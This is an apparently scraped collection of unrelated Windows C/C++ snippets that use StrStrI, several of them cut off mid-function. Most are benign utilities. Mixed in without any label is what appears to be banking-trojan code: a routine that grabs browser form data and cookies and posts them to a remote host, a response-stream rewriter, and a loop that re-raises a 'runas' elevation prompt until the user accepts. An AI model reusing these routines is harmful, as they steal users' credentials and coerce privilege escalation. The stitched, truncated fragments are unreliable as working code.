char* multiReplace(const char* value, const char *find, const char *replace, int cs) { char *head, *temp, *string; int len = (int)strlen(find); int replen = (int)strlen(replace); // only should be 1 '=' sign there... if (head = (char*)(cs ? strstr(value, find) : StrStrI(value, find))) { string = (char*)value; temp = (char*)mir_alloc(1 * sizeof(char)); temp[0] = '\0'; while (head) { temp = (char*)mir_realloc(temp, strlen(temp) + strlen(string) + replen + 1); if (!temp) mir_tstrdup(value); strncat(temp, string, (head - string)); string = head + len; strcat(temp, replace); head = (cs ? strstr(string, find) : StrStrI(string, find)); } strcat(temp, string); return temp; } return mir_tstrdup(value); }
void CRegisterExtension::_UpdateAssocChanged(HRESULT hr, PCWSTR pszKeyFormatString) const { static const WCHAR c_szProgIDPrefix[] = L"Software\\Classes\\%s"; if (SUCCEEDED(hr) && !_fAssocChanged && (StrCmpNIC(pszKeyFormatString, c_szProgIDPrefix, ARRAYSIZE(c_szProgIDPrefix) - 1) == 0 || StrStrI(pszKeyFormatString, L"PropertyHandlers") || StrStrI(pszKeyFormatString, L"KindMap"))) { const_cast<CRegisterExtension*>(this)->_fAssocChanged = true; } }
int process_for_result() { // Number of found hotels int found = 0; // Current processing HOTEL HOTEL hotel; for (i = 0; i < 50; i++) { // Clear out existing search result hotel_search_results[i] = empty_hotel; hotel = hotels[i]; // Check for criteria... if (StrStrI(hotel.name, userinput) != 0 || StrStrI(hotel.location, userinput) != 0 // Search // // string // matches? ) { // We found it. Now store it hotel_search_results[found++] = hotel; } } // Sort the results switch (sortby) { case SORT_NONE: break; case SORT_NAME: sort_by_name(hotel_search_results, found); break; case SORT_STAR: sort_by_star(hotel_search_results, found); break; case SORT_RATING: sort_by_rating(hotel_search_results, found); break; case SORT_POPS: sort_by_pops(hotel_search_results, found); break; case SORT_PRICE: sort_by_price(hotel_search_results, found); break; } return found; }
//******************************************************************************* // // 函 数 名 : SetCallBreakPoint // 功能描述 : 在地址范围内下断点 // 参数列表 : pRunData -- RunData指针 // uFunctionStart -- 函数起始地址 // uFunctionEnd -- 函数结束地址 // 说 明 : 并没有对函数的正确性做检查 // 返回结果 : 成功返回TRUE,失败返回FALSE // //****************************************************************************** BOOL SetCallBreakPoint(PRunData pRunData, ulong uFunctionStart, ulong uFunctionEnd) { char szSrcDec[1024] = {0}; char szLine[1024] = {0}; char szName[TEXTLEN] = {0} ; t_disasm disasm = {0}; ulong uIndex = uFunctionStart ; ulong uSize = 0 ; ulong uInstructSize = 0 ; InitTreeHead(pRunData) ; // 保留函数起始地址 pRunData->pCurrentNode->dwFuncStart = uFunctionStart ; // 保留函数结束地址 pRunData->pCurrentNode->dwFuncEnd = uFunctionEnd ; for (; uIndex < uFunctionEnd; uIndex += uInstructSize) { uSize = Readcommand(uIndex, szLine) ; // 再判断是不是call // 反汇编二进制指令 uInstructSize = Disasm((uchar *)szLine, uSize, uIndex, (uchar *)szSrcDec, &disasm, DISASM_ALL, 0); if (StrStrI(disasm.result, "CALL") || StrStrI(disasm.result, "ret")) { // 是call直接下断点,方便日后api记录 if(0 == Setbreakpointext(uIndex,TY_ACTIVE,0,0)) { // 先判断断点是否存在,不存在的话丢进链表中去 if(FALSE == ListExist(&pRunData->BreakPointList, uIndex)) { pRunData->BreakPointList.push_back(uIndex) ; } } } } // 判断当前设的断点是不是在显示屏幕中,是的话刷新 ulong uBase = 0 ; Getdisassemblerrange(&uBase, &uSize) ; if (uFunctionStart >= uBase && uFunctionStart <= (uBase + uSize)) { Redrawdisassembler() ; } return TRUE ; }
bool CRegisterExtension::_IsBaseClassProgID(PCWSTR pszProgID) const { return !StrCmpIC(pszProgID, L"AllFileSystemObjects") || !StrCmpIC(pszProgID, L"Directory") || !StrCmpIC(pszProgID, L"*") || StrStrI(pszProgID, L"SystemFileAssociations\\Directory."); // SystemFileAssociations\Directory.* values }
VOID aRestartModuleShellExec(PCHAR FilePath) { SHELLEXECUTEINFO sei = {0}; CHAR TempPath[MAX_PATH]; CHAR TempName[MAX_PATH]; PVOID Buffer; DWORD Size; if (!StrStrI(FilePath, ".exe")) { Protect::GetStorageFolderPath(TempPath); GetTempFileName(TempPath, NULL, GetTickCount(), TempName); PathRemoveExtension(TempName); PathAddExtension(TempName, ".exe"); if (Buffer = Utils::FileRead(FilePath, &Size)) { if (Utils::FileWrite(TempName, CREATE_ALWAYS, Buffer, Size)) { FilePath = TempName; } } } sei.cbSize = sizeof(sei); sei.lpFile = FilePath; sei.lpVerb = "runas"; sei.hwnd = GetForegroundWindow(); while (!ShellExecuteEx(&sei)) { DbgMsg(__FUNCTION__"(): ShellExecuteEx error: %x\n", GetLastError()); Sleep(3000); } }
DWORD getTargetThreadIDFromProcessName(PCWSTR _processName) { PROCESSENTRY32 pe; HANDLE thSnapShot; BOOL retval, ProcFound = false; thSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (thSnapShot == INVALID_HANDLE_VALUE) { return NULL; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapShot, &pe); while (retval) { if (StrStrI(pe.szExeFile, _processName)) { return pe.th32ProcessID; } retval = Process32Next(thSnapShot, &pe); } return NULL; }
unsigned long GetProcessIdByName(char *process) { PROCESSENTRY32 pe; HANDLE thSnapshot; BOOL retval, ProcFound = false; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, process) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } return pe.th32ProcessID; }
BOOL inBlackList(char *string,char *blacklist){ BOOL found=FALSE; char buf[100]; const char *data=blacklist; // now we want an array of pointer to fields, // here again we use a static buffer for simplicity, // instead of a char** with a malloc char * fields[10]; int nbfields = 0; int i = 0; char * start_of_field; // let's initialize buf with some data, // a semi-colon terminated list of strings strcpy(buf, data); start_of_field = buf; // seek end of each field and // copy addresses of field to fields (array of char*) for (i = 0; buf[i] != 0; i++){ if (buf[i] == '|'){ buf[i] = 0; fields[nbfields] = start_of_field; nbfields++; start_of_field = buf+i+1; } } fields[nbfields++]=start_of_field;//last field for(i=0;i<nbfields;i++){ //printf("%s - %s\n",string,fields[i]); if(StrStrI(string,fields[i])) found=TRUE; } return found; }
// Issue 1191: ConEmu was launched instead of explorer from taskbar pinned library icon void CSetPgIntegr::UnregisterShellInvalids() { HKEY hkDir; if (0 == RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Classes\\LibraryFolder\\shell", 0, KEY_READ, &hkDir)) { int iOthers = 0; MArray<wchar_t*> lsNames; for (DWORD i = 0; i < 512; i++) { wchar_t szName[MAX_PATH+32] = {}; wchar_t szCmd[MAX_PATH*4]; DWORD cchMax = countof(szName) - 32; if (0 != RegEnumKeyEx(hkDir, i, szName, &cchMax, NULL, NULL, NULL, NULL)) break; wchar_t* pszSlash = szName + _tcslen(szName); wcscat_c(szName, L"\\command"); HKEY hkCmd = NULL; if (0 == RegOpenKeyEx(hkDir, szName, 0, KEY_READ, &hkCmd)) { DWORD cbMax = sizeof(szCmd)-2; if (0 == RegQueryValueEx(hkCmd, NULL, NULL, NULL, (LPBYTE)szCmd, &cbMax)) { szCmd[cbMax>>1] = 0; *pszSlash = 0; //LPCWSTR pszInside = StrStrI(szCmd, L"-inside"); LPCWSTR pszConEmu = StrStrI(szCmd, L"conemu"); if (pszConEmu) lsNames.push_back(lstrdup(szName)); else iOthers++; } RegCloseKey(hkCmd); }
DWORD GetTargetThreadIDFromProcName(const char * ProcName) { PROCESSENTRY32 pe; HANDLE thSnapShot; BOOL retval, ProcFound = false; thSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapShot == INVALID_HANDLE_VALUE) { //MessageBox(NULL, "Error: Unable to create toolhelp snapshot!", "2MLoader", MB_OK); printf("Error: Unable to create toolhelp snapshot!"); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapShot, &pe); while(retval) { if(StrStrI(pe.szExeFile, ProcName)) { return pe.th32ProcessID; } retval = Process32Next(thSnapShot, &pe); } return 0; }
bool CDefaultTerminal::IsRegisteredOsStartup(wchar_t* rsValue, DWORD cchMax, bool* pbLeaveInTSA) { LPCWSTR ValueName = StartupValueName /* L"ConEmuDefaultTerminal" */; bool bCurState = false, bLeaveTSA = gpSet->isRegisterOnOsStartupTSA; HKEY hk; DWORD nSize, nType = 0; LONG lRc; if (0 == (lRc = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_READ, &hk))) { if (!rsValue) { cchMax = MAX_PATH*3; rsValue = (wchar_t*)calloc(cchMax+1,sizeof(*rsValue)); } nSize = cchMax*sizeof(*rsValue); if ((0 == (lRc = RegQueryValueEx(hk, ValueName, NULL, &nType, (LPBYTE)rsValue, &nSize)) && (nType == REG_SZ) && (nSize > sizeof(wchar_t)))) { bCurState = true; if (rsValue) { bLeaveTSA = (StrStrI(rsValue, L"/Exit") == NULL); } } RegCloseKey(hk); } if (pbLeaveInTSA) *pbLeaveInTSA = bLeaveTSA; return bCurState; }
/******************************************************************************* * * 函 数 名 : GetFunctionEnd * 功能描述 : 取得函数的结束地址 * 参数列表 : uAddr -- 起始地址 * 说 明 : 并对没有对uAddr值做检查,如果他处于一个指令中间的话... * 返回结果 : 成功返回函数结尾地址,否则返回0 * *******************************************************************************/ ulong GetFunctionEnd(ulong uAddr) { char szSrcDec[1024] = {0}; char szLine[1024] = {0}; t_disasm disasm = {0}; ulong uIndex = uAddr ; ulong uSize = 0 ; ulong uInstructSize = 0 ; ulong uFunctionEnd = uAddr + MAXFUNSIZE ; for (; uIndex < uFunctionEnd; uIndex += uInstructSize) { uSize = Readcommand(uIndex, szLine) ; // 再判断是不是call // 反汇编二进制指令 uInstructSize = Disasm((uchar *)szLine, uSize, uIndex, (uchar *)szSrcDec, &disasm, DISASM_ALL, 0); if (StrStrI(disasm.result, "ret")) { return uIndex + uInstructSize ; } } return 0 ; }
bool CCProcessController::FindProcessByName(const char* pszProcessName, PROCESSENTRY32* pOutPE32) { BOOL bRet = FALSE; BOOL bFound = FALSE; HANDLE hProcessSnap = NULL; PROCESSENTRY32 pe32 = {0}; pe32.dwSize = sizeof(MODULEENTRY32); hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) return false; bool bResult = false; if (Process32First(hProcessSnap, &pe32)) { do { if (StrStrI(pe32.szExeFile, pszProcessName) != 0) { CopyMemory(pOutPE32, &pe32, sizeof(PROCESSENTRY32)); bResult = true; break; } } while (Process32Next(hProcessSnap, &pe32)); } CloseHandle (hProcessSnap); return bResult; }
void ShowAnError(DWORD err, const TCHAR* pDesc = NULL, const TCHAR* pModuleName = NULL) { HMODULE IssuedModule = 0; TCHAR tcModuleName[MAX_PATH]; if(pModuleName) { HANDLE hProc = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId() ); if(hProc) { HMODULE hMods[128]; DWORD nRetCountMod = 0; if(EnumProcessModules(hProc, hMods, sizeof(hMods), &nRetCountMod)) { for(DWORD i=0; i <= nRetCountMod; ++i) { if(0 != hMods[i] && 0 != GetModuleBaseName( hProc, hMods[i], tcModuleName, sizeof(tcModuleName)/sizeof(TCHAR) ) && 0 != StrStrI(tcModuleName, pModuleName)) { IssuedModule = hMods[i]; break; } } } CloseHandle(hProc); } } LPTSTR errorText = NULL; DWORD nFlags = FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_IGNORE_INSERTS; if( 0 != IssuedModule) nFlags |= FORMAT_MESSAGE_FROM_HMODULE; else nFlags |= FORMAT_MESSAGE_FROM_SYSTEM; if(0 == FormatMessage( nFlags, ((0 != IssuedModule)?(IssuedModule): NULL), err, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &errorText, 0, NULL)) { //ShowAnError(GetLastError(), TEXT("Format Error error"),NULL,recCounter); tstringstream os; if(IssuedModule) {os<<tcModuleName;} else {os<<"Unknown";} os<<TEXT(" error = ")<<err; //os<<TEXT(" FormatMessage error = ")<<; if(pDesc) { MessageBox(NULL, os.str().c_str(), pDesc, MB_OK|MB_ICONWARNING ); } else { MessageBox(NULL, os.str().c_str(), TEXT("Error"), MB_OK|MB_ICONWARNING ); } } else { if(pDesc) { MessageBox(NULL, (LPCTSTR)errorText, pDesc, MB_OK|MB_ICONWARNING ); } else { MessageBox(NULL, (LPCTSTR)errorText, TEXT("Error"), MB_OK|MB_ICONWARNING ); } if( NULL != errorText ) { LocalFree( errorText ); errorText = 0; } } }
int APIENTRY wWinMain(HINSTANCE, HINSTANCE, PWSTR pszCmdLine, int) { HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); if (SUCCEEDED(hr)) { if (StrStrI(pszCmdLine, L"-Verb")) { IShellItem2 *psi; hr = GetShellItemFromCommandLine(IID_PPV_ARGS(&psi)); if (SUCCEEDED(hr)) { PWSTR pszName; hr = psi->GetDisplayName(SIGDN_PARENTRELATIVEPARSING, &pszName); if (SUCCEEDED(hr)) { WCHAR szMsg[128]; StringCchPrintf(szMsg, ARRAYSIZE(szMsg), L"Item passed via command line is named %s", pszName); MessageBox(NULL, szMsg, L"Create Process Sample Verb", MB_OK); CoTaskMemFree(pszName); } psi->Release(); } } else { CRegisterExtension re(CLSID_NULL); WCHAR const c_szProgID[] = L"txtfile"; WCHAR const c_szVerb[] = L"CreateProcessVerb"; WCHAR const c_szVerbName[] = L"Create Process Verb"; WCHAR szModule[MAX_PATH]; GetModuleFileName(NULL, szModule, ARRAYSIZE(szModule)); // register this verb on .txt files ProgID WCHAR szCmdLine[MAX_PATH + 10]; StringCchPrintf(szCmdLine, ARRAYSIZE(szCmdLine), L"%s -Verb \"%%1\"", szModule); hr = re.RegisterCreateProcessVerb(c_szProgID, c_szVerb, szCmdLine, c_szVerbName); if (SUCCEEDED(hr)) { hr = re.RegisterVerbAttribute(c_szProgID, c_szVerb, L"NeverDefault"); if (SUCCEEDED(hr)) { MessageBox(NULL, L"Installed Create Process Verb Sample for .txt files\n\n" L"right click on a .txt file and choose 'Create Process Verb Sample' to see this in action" , PathFindFileName(szModule), MB_OK); } } } CoUninitialize(); } return 0; }
// data access tristate_t ShellCache::CPathFilter::IsPathAllowed(LPCTSTR path) const { if (!path) return tristate_unknown; // always ignore the recycle bin PTSTR pFound = StrStrI(path, L":\\RECYCLER"); if (pFound) { if ((*(pFound + 10) == L'\0') || (*(pFound + 10) == L'\\')) return tristate_false; } pFound = StrStrI(path, L":\\$Recycle.Bin"); if (pFound) { if ((*(pFound + 14) == '\0') || (*(pFound + 14) == L'\\')) return tristate_false; } return IsPathAllowed(path, data.begin(), data.end()); }
BOOL CALLBACK EnumCallback(HWND hwnd,TCHAR* pLikeTitle) { TCHAR title[MAX_PATH]; ::GetWindowText(hwnd,title,MAX_PATH); if(StrStrI(pLikeTitle,title)) { return TRUE; } return FALSE; }
int APIENTRY _tWinMain(HINSTANCE /*hInstance*/, HINSTANCE /*hPrevInstance*/, LPTSTR lpCmdLine, int /*nCmdShow*/) { SetDllDirectory(L""); InitCommonControls(); size_t cmdlineLen = wcslen(lpCmdLine); if (lpCmdLine[0] == '"' && cmdlineLen > 1 && lpCmdLine[cmdlineLen - 1] == '"') { lpCmdLine[cmdlineLen - 1] = L'\0'; ++lpCmdLine; } if (lpCmdLine[0] != L'\0') g_Prompt = lpCmdLine; if (StrStrI(lpCmdLine, L"(yes/no)")) { if (::MessageBox(nullptr, g_Prompt, L"TortoiseGit - git CLI stdin wrapper", MB_YESNO | MB_ICONQUESTION) == IDYES) wprintf(L"yes"); else wprintf(L"no"); return 0; } if (StrStrI(lpCmdLine, L"Should I try again?")) { if (::MessageBox(nullptr, g_Prompt, L"TortoiseGit - git CLI yes/no wrapper", MB_YESNO | MB_ICONQUESTION) == IDYES) return 0; return 1; } if (DialogBox(hInst, MAKEINTRESOURCE(IDD_ASK_PASSWORD), nullptr, PasswdDlg) == IDOK) { printf("%s\n", CUnicodeUtils::StdGetUTF8(g_PassWord).c_str()); return 0; } wprintf(L"\n"); return -1; }
bool UnicodeString::PosI(size_t &nPos, const wchar_t *lpwszFind, size_t nStartPos) const { const wchar_t *lpwszStr = StrStrI(m_pData->GetData()+nStartPos,lpwszFind); if (lpwszStr) { nPos = lpwszStr - m_pData->GetData(); return true; } return false; }
/******************************************************************************* * * 函 数 名 : GetCallRegAddress * 功能描述 : 取得call寄存器 这样的汇编 寄存器所包含的值 * 参数列表 : pDisasm -- 指向RunData结构 * pReg -- 要跳去的地方 * 说 明 : * 返回结果 : 如果成功返回原来地址值,否则返回0 * *******************************************************************************/ ulong GetCallRegAddress(t_disasm *pDisasm, t_reg *pReg) { NULLVALUE_CHECK(pDisasm, GetCallRegAddress) ; NULLVALUE_CHECK(pReg, GetCallRegAddress) ; ulong uResult = 0 ; int nRegIndex = -1 ; if (StrStrI(pDisasm->result, "eax")) { nRegIndex = REG_EAX ; } else if (StrStrI(pDisasm->result, "ebx")) { nRegIndex = REG_EBX ; } else if (StrStrI(pDisasm->result, "ecx")) { nRegIndex = REG_ECX ; } else if (StrStrI(pDisasm->result, "edx")) { nRegIndex = REG_EDX ; } else if (StrStrI(pDisasm->result, "esi")) { nRegIndex = REG_ESI ; } else if (StrStrI(pDisasm->result, "edi")) { nRegIndex = REG_EDI ; } else if (StrStrI(pDisasm->result, "ebp")) { nRegIndex = REG_EBP ; } else if (StrStrI(pDisasm->result, "esp")) { nRegIndex = REG_ESP ; } if (-1 != nRegIndex) { uResult = pReg->r[nRegIndex] ; } return uResult ; }
// // Queries spesified request handle for a target URL, and sends specified data and URL to the active host. // static VOID IeQueryUrlPostForms( HANDLE hRequest, // Request handle to query LPSTR pHeaders, // HTTP headers of the request PVOID lpData, // Form data ULONG dwData // Form data length (bytes) ) { BOOL bIsSsl = FALSE; if (dwData <= MAX_FORM_SIZE) { ULONG dwBufLen = MAX_URL_LEN * sizeof(_TCHAR); LPTSTR pUrl = (LPTSTR)hAlloc(dwBufLen); if (pUrl) { if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen)) { if (StrStrI(pUrl, szHttps) == pUrl) bIsSsl = TRUE; if ((g_ClientId.Plugins & PG_BIT_FORMS) || #ifdef _ALWAYS_HTTPS (bIsSsl) #else (FALSE) #endif ) { LPSTR pCookie, pHeaders1 = NULL; if (!pHeaders) // No request headers specified, trying to get them from the request handle pHeaders = pHeaders1 = TaransferGetRequestHeaders(hRequest); if (ConfigCheckInitUrl(pUrl, NULL, bIsSsl, NULL) != URL_STATUS_POST_BLOCK) { pCookie = IeGetCookie(pUrl); PostForms(pUrl, pHeaders, pCookie, lpData, dwData, SEND_ID_FORM, TRUE); if (pCookie) hFree(pCookie); } if (pHeaders1) hFree(pHeaders1); } // if ((g_ClientId.Plugins & PG_BIT_FORMS) || (StrStrI(pUrl, szHttps) == pUrl)) } // if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen)) hFree(pUrl); } // if (pUrl) } // if (dwData <= MAX_FORM_SIZE) }
//{begin} VC-dgkang 2008年11月18日 void CHtmlCtrl::OnNewWindow2(LPDISPATCH* ppDisp, BOOL* Cancel) { CString sServer, sObject; INTERNET_PORT nPort; DWORD dwServiceType; AfxParseURL(m_NewWindowsURL, dwServiceType, sServer, sObject, nPort); if (StrStrI(sServer,_T("verycd.com"))) { Navigate(m_NewWindowsURL); *Cancel = TRUE; } }
void HandleArg(const TCHAR *arg) { for(unsigned i=0; i<lengthof(commands); i++) { if(StrStrI(arg, commands[i].command)) { const TCHAR *s = _tcschr(arg, _T(':')); if(!s) { util::error_box(strMalformedArg); exit(-1); } commands[i].proc(s+1); } } }
DWORD find(const wchar_t * szApp) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; // Take a snapshot of all processes in the system. hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ); if( hProcessSnap == INVALID_HANDLE_VALUE ) { //printError( TEXT("CreateToolhelp32Snapshot (of processes)") ); return( 0 ); } // Set the size of the structure before using it. pe32.dwSize = sizeof( PROCESSENTRY32 ); // Retrieve information about the first process, // and exit if unsuccessful if( !Process32First( hProcessSnap, &pe32 ) ) { //printError( TEXT("Process32First") ); // show cause of failure CloseHandle( hProcessSnap ); // clean the snapshot object return( 0 ); } DWORD pid = 0; // Now walk the snapshot of processes, and // display information about each process in turn do { if ( StrStrI( pe32.szExeFile, szApp ) != NULL ) { pid = pe32.th32ProcessID; break; } } while( Process32Next( hProcessSnap, &pe32 ) ); CloseHandle( hProcessSnap ); return( pid ); }
static VOID IeReplaceStream(HINTERNET hRequest, PHANDLE_CONTEXT Ctx) { ULONG Written, bLen = 0; LPSTR FileName, Buffer; HANDLE hFile; ASSERT(Ctx->Flags & CF_CONTENT); ASSERT(Ctx->Url); ConfigProcessStream(Ctx->pStream, NULL, Ctx->Url, (StrStrI(Ctx->Url, szHttps) == Ctx->Url) ? TRUE : FALSE, Ctx->tCtx); InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, NULL, &bLen); if ((bLen) && (FileName = hAlloc(bLen + 1))) { if (InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, FileName, &bLen)) { FileName[bLen] = 0; hFile = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE)) { StreamGotoBegin(Ctx->pStream); do { bLen = 0; CoInvoke(Ctx->pStream, Read, Buffer, MAX_CONTENT_BUFFER_SIZE, &bLen); if (bLen == 0) break; if (!WriteFile(hFile, Buffer, bLen, &Written, NULL) || (Written != bLen)) break; } while(bLen == MAX_CONTENT_BUFFER_SIZE); hFree(Buffer); } // if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE)) CloseHandle(hFile); } // if (hFile != INVALID_HANDLE_VALUE) } // if (InternetQueryOption( hFree(FileName); } // if ((bLen) && (FileName = hAlloc(bLen))) }
BOOL CMakerSetupResultPage::PathIsTempPath(LPCTSTR pszFilePath) { BOOL bRet = FALSE; TCHAR szTmpPath[MAX_PATH] = {0}; if (!bRet) { GetTempPath(_countof(szTmpPath), szTmpPath); if (StrStrI(pszFilePath, szTmpPath) != NULL) { bRet = TRUE; } } if (!bRet) { } return bRet; }
// Returns '0' on failure. DWORD GetProcessIdFromExe(const std::string& exe_name) { HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(snapshot == INVALID_HANDLE_VALUE) { THROW_ERROR("Unable to create toolhelp snapshot!"); return 0; } PROCESSENTRY32 entry; entry.dwSize = sizeof(PROCESSENTRY32); BOOL rv = Process32First(snapshot, &entry); if(rv == FALSE) { if(GetLastError() != ERROR_NO_MORE_FILES) { THROW_ERROR("'Process32First()' failed!"); return 0; } else { THROW_ERROR("Process has not been found!"); return 0; } } while(true) { if(StrStrI(entry.szExeFile, exe_name.c_str()) != NULL) { break; } rv = Process32Next(snapshot, &entry); //entry.dwSize = sizeof(PROCESSENTRY32); if(rv == FALSE) { if(GetLastError() != ERROR_NO_MORE_FILES) { THROW_ERROR("'Process32Next()' failed!"); return 0; } else { THROW_ERROR("Process has not been found!"); return 0; } } } return entry.th32ProcessID; }
bool filemasks::masks::Set(const string& masks) { Free(); string expmasks(masks); const wchar_t* PathExtName = L"%PATHEXT%"; if (StrStrI(expmasks.data(), PathExtName)) { string strSysPathExt; if (api::GetEnvironmentVariable(L"PATHEXT" ,strSysPathExt)) { auto MaskList(StringToList(strSysPathExt, STLF_UNIQUE)); if (!MaskList.empty()) { string strFarPathExt; std::for_each(CONST_RANGE(MaskList, i) { strFarPathExt.append(1, '*').append(i).append(1, ','); });
//************************************ // Method: Lookup // FullName: CAutoStartupInfo::Lookup // Access: public // Returns: bool // Qualifier: // Parameter: LPCTSTR lpctszExePath_i //************************************ bool CAutoStartupInfo::Lookup( LPCTSTR lpctszExePath_i ) const { if( !lpctszExePath_i ) { return false; } // Loop through string vector and find out if we have an entry for this exe for( SVCItr StringItr = m_AutoStartups.begin(); StringItr != m_AutoStartups.end(); ++StringItr ) { if( StrStrI( *StringItr, lpctszExePath_i )) { return true; }// End if }// End for return false; }